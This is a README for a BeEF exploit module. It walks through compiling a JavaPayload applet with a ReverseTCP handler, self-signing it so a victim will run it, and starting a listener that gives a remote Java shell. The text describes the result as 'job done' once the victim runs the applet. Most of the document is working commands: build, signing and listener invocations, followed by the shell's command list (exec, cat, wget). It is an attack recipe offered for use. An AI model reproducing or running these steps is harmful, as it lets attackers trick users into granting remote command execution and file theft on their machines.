Path: blob/master/modules/exploits/local_host/java_payload/README.txt
1154 views
--- How to use this module ---1The following is how you compile the JavaPayload handlers :23$git clone https://github.com/schierlm/JavaPayload/tree/master/JavaPayload javapayload-git4$cd javapayload-git/JavaPayload/lib && wget http://download.forge.objectweb.org/asm/asm-3.2.jar5$cd .. && ant compile && ant jar6$cd build/bin7$java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.builder.AppletJarBuilder ReverseTCP89At this point you have the applet ready to go, with a reverseTCP handler:10Applet_ReverseTCP.jar11Note that the applet in this module is already compiled (with Java 7, you might want to recompile it12with Java 6 to run it on those versions too - SUGGESTED :-).1314At this stage you need to sign the applet.15The following is to create a self-signed certificate and then sign it.16Obviously if you have a valid code signing certificate, even better ;)1718keytool -keystore tmp -genkey19jarsigner -keystore tmp Applet_ReverseTCP.jar mykey2021Now replace the newly signed Applet_ReverseTCP.jar in the BeEF module.2223You're now ready to rock. start the reverse handler listener with (update payload/host/port if necessary):24java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh2526Now launch the BeEF module.27If the victim RUN the Signed Java Applet, job done and you can interact with the applet from the reverse connection handler:28antisnatchor$ java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh29! help30help: show information about commands.31Usage: help [command]3233Supported commands:34help - show this help35info - list system properties36pwd - show current directory37cd - change directory38ls - list directory39exec - execute native command40cat - show text file41wget - download file42telnet - create TCP connection43paste - create text file44jobs - list or continue jobs45exit - Exit JSh4647When inside an interactive command, enter ~. on a new48line to exit from that command. Enter ~& to background the command.49Enter ~~ to start a line with a ~ character5051